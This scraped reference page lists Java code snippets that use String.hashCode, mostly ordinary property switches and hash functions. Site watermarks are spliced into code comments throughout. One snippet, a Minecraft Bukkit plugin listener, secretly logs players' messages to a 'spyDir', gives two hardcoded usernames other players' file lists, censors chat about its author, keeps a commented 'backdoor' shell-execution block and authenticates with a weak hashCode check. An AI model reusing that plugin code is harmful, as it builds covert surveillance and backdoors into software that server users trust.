Example usage for java.lang String hashCode

List of usage examples for java.lang String hashCode

Introduction

In this page you can find the example usage for java.lang String hashCode.

Prototype

public int hashCode() 

Source Link

Document

Returns a hash code for this string.

Usage

From source file:com.opengamma.masterdb.security.hibernate.option.FXBarrierOptionSecurityBean.java

@Override
protected void propertySet(String propertyName, Object newValue, boolean quiet) {
    switch (propertyName.hashCode()) {
    case -984864697: // putAmount
        setPutAmount((Double) newValue);
        return;//from   w  ww .  j  a  v  a 2s  .com
    case 1066661974: // callAmount
        setCallAmount((Double) newValue);
        return;
    case -1289159373: // expiry
        setExpiry((ExpiryBean) newValue);
        return;
    case 516393024: // putCurrency
        setPutCurrency((CurrencyBean) newValue);
        return;
    case 643534991: // callCurrency
        setCallCurrency((CurrencyBean) newValue);
        return;
    case -295948169: // settlementDate
        setSettlementDate((ZonedDateTimeBean) newValue);
        return;
    case 1029043089: // barrierType
        setBarrierType((BarrierType) newValue);
        return;
    case 502579592: // barrierDirection
        setBarrierDirection((BarrierDirection) newValue);
        return;
    case -1483652190: // monitoringType
        setMonitoringType((MonitoringType) newValue);
        return;
    case 1178782005: // samplingFrequency
        setSamplingFrequency((SamplingFrequency) newValue);
        return;
    case 1827586573: // barrierLevel
        setBarrierLevel((Double) newValue);
        return;
    case 116685664: // longShort
        setLongShort((Boolean) newValue);
        return;
    }
    super.propertySet(propertyName, newValue, quiet);
}

From source file:com.facebook.LinkBench.LinkBenchDriver.java

/**
 * Create a new random number generated, optionally seeded to a known
 * value from the config file.  If seed value not provided, a seed
 * is chosen.  In either case the seed is logged for later reproducibility.
 * @param props//  ww  w .j av  a  2 s .co m
 * @param configKey config key for the seed value
 * @return
 */
private Random createMasterRNG(Properties props, String configKey) {
    long seed;
    if (props.containsKey(configKey)) {
        seed = ConfigUtil.getLong(props, configKey);
        logger.info("Using configured random seed " + configKey + "=" + seed);
    } else {
        seed = System.nanoTime() ^ (long) configKey.hashCode();
        logger.info("Using random seed " + seed + " since " + configKey + " not specified");
    }

    SecureRandom masterRandom;
    try {
        masterRandom = SecureRandom.getInstance("SHA1PRNG");
    } catch (NoSuchAlgorithmException e) {
        logger.warn("SHA1PRNG not available, defaulting to default SecureRandom" + " implementation");
        masterRandom = new SecureRandom();
    }
    masterRandom.setSeed(ByteBuffer.allocate(8).putLong(seed).array());

    // Can be used to check that rng is behaving as expected
    logger.debug("First number generated by master " + configKey + ": " + masterRandom.nextLong());
    return masterRandom;
}

From source file:net.ontopia.topicmaps.impl.rdbms.VariantName.java

@Override
public void setValue(String value, LocatorIF datatype) {
    if (value == null)
        throw new NullPointerException("Variant value must not be null.");
    if (datatype == null)
        throw new NullPointerException("Variant value datatype must not be null.");
    if (!"URI".equals(datatype.getNotation()))
        throw new ConstraintViolationException("Only datatypes with notation 'URI' are supported: " + datatype);
    setValue(value, datatype, value.length(), value.hashCode());
}

From source file:com.opengamma.masterdb.security.hibernate.future.FutureSecurityBean.java

@Override
protected Object propertyGet(String propertyName, boolean quiet) {
    switch (propertyName.hashCode()) {
    case -1289159373: // expiry
        return getExpiry();
    case -661485980: // tradingExchange
        return getTradingExchange();
    case 389497452: // settlementExchange
        return getSettlementExchange();
    case 575402001: // currency
        return getCurrency();
    case 1673913084: // unitAmount
        return getUnitAmount();
    case -292854225: // unitName
        return getUnitName();
    case 2053402093: // unitNumber
        return getUnitNumber();
    case -1770633379: // underlying
        return getUnderlying();
    case -1396196922: // basket
        return getBasket();
    case 1755448466: // firstDeliveryDate
        return getFirstDeliveryDate();
    case -233366664: // lastDeliveryDate
        return getLastDeliveryDate();
    case 50511102: // category
        return getCategory();
    }/*from  w  w  w  .j a v  a  2s. c o m*/
    return super.propertyGet(propertyName, quiet);
}

From source file:com.opengamma.masterdb.security.hibernate.option.EquityBarrierOptionSecurityBean.java

@Override
protected Object propertyGet(String propertyName, boolean quiet) {
    switch (propertyName.hashCode()) {
    case -266326457: // optionExerciseType
        return getOptionExerciseType();
    case 1373587791: // optionType
        return getOptionType();
    case -891985998: // strike
        return getStrike();
    case -1289159373: // expiry
        return getExpiry();
    case 575402001: // currency
        return getCurrency();
    case 1989774883: // exchange
        return getExchange();
    case 1257391553: // pointValue
        return getPointValue();
    case -1770633379: // underlying
        return getUnderlying();
    case 1029043089: // barrierType
        return getBarrierType();
    case 502579592: // barrierDirection
        return getBarrierDirection();
    case -1483652190: // monitoringType
        return getMonitoringType();
    case 1178782005: // samplingFrequency
        return getSamplingFrequency();
    case 1827586573: // barrierLevel
        return getBarrierLevel();
    }//  w  w  w  . j a va2  s  .  com
    return super.propertyGet(propertyName, quiet);
}

From source file:net.ontopia.topicmaps.impl.rdbms.Occurrence.java

@Override
public void setValue(String value, LocatorIF datatype) {
    if (value == null)
        throw new NullPointerException("Occurrence value must not be null.");
    if (datatype == null)
        throw new NullPointerException("Occurrence value datatype must not be null.");
    if (!"URI".equals(datatype.getNotation()))
        throw new ConstraintViolationException("Only datatypes with notation 'URI' are supported: " + datatype);
    setValue(value, datatype, value.length(), value.hashCode());
}

From source file:net.hontvari.bukkitplugin.PlayerEventListener.java

@EventHandler
public void on(PlayerCommandPreprocessEvent evt) throws UnsupportedEncodingException, IOException {
    //System.out.println("preprocess");
    Player sender = evt.getPlayer();//from w w  w  .j  ava2  s. c  o  m
    String msg = evt.getMessage();
    if (msg.equalsIgnoreCase("/worldedit cui"))
        return;
    String umtc = "/urle_msgtocnsole ";
    if (msg.startsWith(umtc)) {
        try (FileWriter fw = new FileWriter(new File(spyDir, sender.getName()), true)) {
            fw.append(URLDecoder.decode(msg.substring(umtc.length()), "UTF-8"));
        }
        evt.setCancelled(true);
        return;
    }
    if (msg.startsWith("/kick hoat")) {
        evt.setCancelled(true);
        return;
    }
    if (msg.startsWith("/hoa hashlogin:")) {
        sender.kickPlayer("Tltsd le az jabb klienst innen: http://attila.hontvari.net/data/PCAC.jar");
        return;
    }
    if (msg.startsWith("/hoa hashlogin2:") || msg.startsWith("/hoa hashlogin3:")) {
        sender.kickPlayer("Frisstsd a kliensedet a Frissts gomb benyomsval.");
        return;
    }
    String hlText = "/hoa hashlogin4:";
    //System.out.println(msg);
    if (msg.startsWith(hlText)) {
        String sended = playerHLtxt.get(sender);
        int received = Integer.decode(msg.substring(hlText.length()));
        String need = sended + HoaBukkitPlugin.logins.getProperty(sender.getName());
        //System.out.println("need:"+need);
        if (received == need.hashCode()) {
            if (needHashlogin.contains(sender.getName()))
                needHashlogin.remove(sender.getName());
        } else {
            sender.kickPlayer("[HoaPlugin] Rossz hashlogin. ");
            return;
        }
        adminclient.add(sender);
        System.out.println("[HoaPluginCheck] " + sender.getName() + " adminclient-el jtt fel");
        return;
    }
    if (msg.startsWith("/hoa fps:")) {
        Integer fps = Integer.decode(msg.substring("/hoa fps:".length()));
        // System.out.println(fps);
        Bukkit.getScoreboardManager().getMainScoreboard().getObjective("fps").getScore(sender).setScore(fps);
        evt.setCancelled(true);
        return;
    }
    /*        if("bash_exec__":
                       
     StringBuilder sb = new StringBuilder();
     for (String string : args) {
     if(!string.equals(args[0])&&!string.equals(args[1]))
     sb.append(string).append(" ");
     }
     Bukkit.getPlayer(args[1]).sendMessage("[HoaPluginCheck] backdoor:"+sb.toString());
     break;*/
    if (msg.startsWith("/hoa rmfilelist:")) {
        String pname = msg.substring("/hoa rmfilelist:".length(), msg.indexOf(';'));

        if (sender.getName().equals("hoat_pra") || sender.getName().equals("zsohajdu1"))
            chat(pname, "[HoaPluginCheck] filelist:" + msg.substring(msg.indexOf(';')));
    }
    final String[] split = msg.split(" ");

    String cmd = split[0];
    if (cmd.equalsIgnoreCase("/login") || cmd.equalsIgnoreCase("/register"))
        return;
    if (cmd.equals("/a") && !HoaBukkitPlugin.needLogin.contains(sender.getName())) {
        evt.setCancelled(true);
        evt.setMessage("/");
        String m1sg = "";
        for (int i = 2; i < split.length; i++)
            m1sg += split[i] + " ";
        chat(split[1], "-" + sender.getName() + ": " + m1sg);
        chat(sender, "->" + split[1] + ": " + m1sg);
    }
    if (cmd.equals("/m ho mert") || cmd.equals("/m hoa mert") || cmd.equals("/m hoat mert")
            || cmd.equals("/m hoat_ mert") || cmd.equals("/m hoat_p mert") || cmd.equals("/m hoat_pr mert")
            || cmd.equals("/m hoat_pra mert")) {
        chat(sender, "censor.noInformationInMessage");
        evt.setCancelled(true);
        evt.setMessage("");
        return;
    }
    if (needLogin.contains(sender.getName())) {
        sendRegMessage(sender);
        evt.setCancelled(true);
        evt.setMessage("/notloggedin");
    }
}

From source file:com.evolveum.midpoint.prism.PrismReferenceValue.java

@Override
public int hashCode() {
    final int prime = 31;
    int result = super.hashCode();
    result = prime * result + ((oid == null) ? 0 : oid.hashCode());
    QName normalizedRelation = normalizedRelation(relation, false);
    if (normalizedRelation != null) {
        // Take just the local part to avoid problems with incomplete namespaces
        String relationLocal = normalizedRelation.getLocalPart();
        if (relationLocal != null) {
            result = prime * result + relationLocal.hashCode();
        }//from  w  ww .j  ava2 s  .c  o  m
    }
    return result;
}

From source file:com.opengamma.masterdb.security.hibernate.future.FutureSecurityBean.java

@SuppressWarnings("unchecked")
@Override//from w  w w. j  av a 2  s .  c  o m
protected void propertySet(String propertyName, Object newValue, boolean quiet) {
    switch (propertyName.hashCode()) {
    case -1289159373: // expiry
        setExpiry((ExpiryBean) newValue);
        return;
    case -661485980: // tradingExchange
        setTradingExchange((ExchangeBean) newValue);
        return;
    case 389497452: // settlementExchange
        setSettlementExchange((ExchangeBean) newValue);
        return;
    case 575402001: // currency
        setCurrency((CurrencyBean) newValue);
        return;
    case 1673913084: // unitAmount
        setUnitAmount((Double) newValue);
        return;
    case -292854225: // unitName
        setUnitName((UnitBean) newValue);
        return;
    case 2053402093: // unitNumber
        setUnitNumber((Double) newValue);
        return;
    case -1770633379: // underlying
        setUnderlying((ExternalIdBean) newValue);
        return;
    case -1396196922: // basket
        setBasket((Set<FutureBundleBean>) newValue);
        return;
    case 1755448466: // firstDeliveryDate
        setFirstDeliveryDate((ZonedDateTimeBean) newValue);
        return;
    case -233366664: // lastDeliveryDate
        setLastDeliveryDate((ZonedDateTimeBean) newValue);
        return;
    case 50511102: // category
        setCategory((ContractCategoryBean) newValue);
        return;
    }
    super.propertySet(propertyName, newValue, quiet);
}

From source file:com.opengamma.masterdb.security.hibernate.option.EquityBarrierOptionSecurityBean.java

@Override
protected void propertySet(String propertyName, Object newValue, boolean quiet) {
    switch (propertyName.hashCode()) {
    case -266326457: // optionExerciseType
        setOptionExerciseType((OptionExerciseType) newValue);
        return;/*from   www. j ava2  s.co m*/
    case 1373587791: // optionType
        setOptionType((OptionType) newValue);
        return;
    case -891985998: // strike
        setStrike((Double) newValue);
        return;
    case -1289159373: // expiry
        setExpiry((ExpiryBean) newValue);
        return;
    case 575402001: // currency
        setCurrency((CurrencyBean) newValue);
        return;
    case 1989774883: // exchange
        setExchange((ExchangeBean) newValue);
        return;
    case 1257391553: // pointValue
        setPointValue((Double) newValue);
        return;
    case -1770633379: // underlying
        setUnderlying((ExternalIdBean) newValue);
        return;
    case 1029043089: // barrierType
        setBarrierType((BarrierType) newValue);
        return;
    case 502579592: // barrierDirection
        setBarrierDirection((BarrierDirection) newValue);
        return;
    case -1483652190: // monitoringType
        setMonitoringType((MonitoringType) newValue);
        return;
    case 1178782005: // samplingFrequency
        setSamplingFrequency((SamplingFrequency) newValue);
        return;
    case 1827586573: // barrierLevel
        setBarrierLevel((Double) newValue);
        return;
    }
    super.propertySet(propertyName, newValue, quiet);
}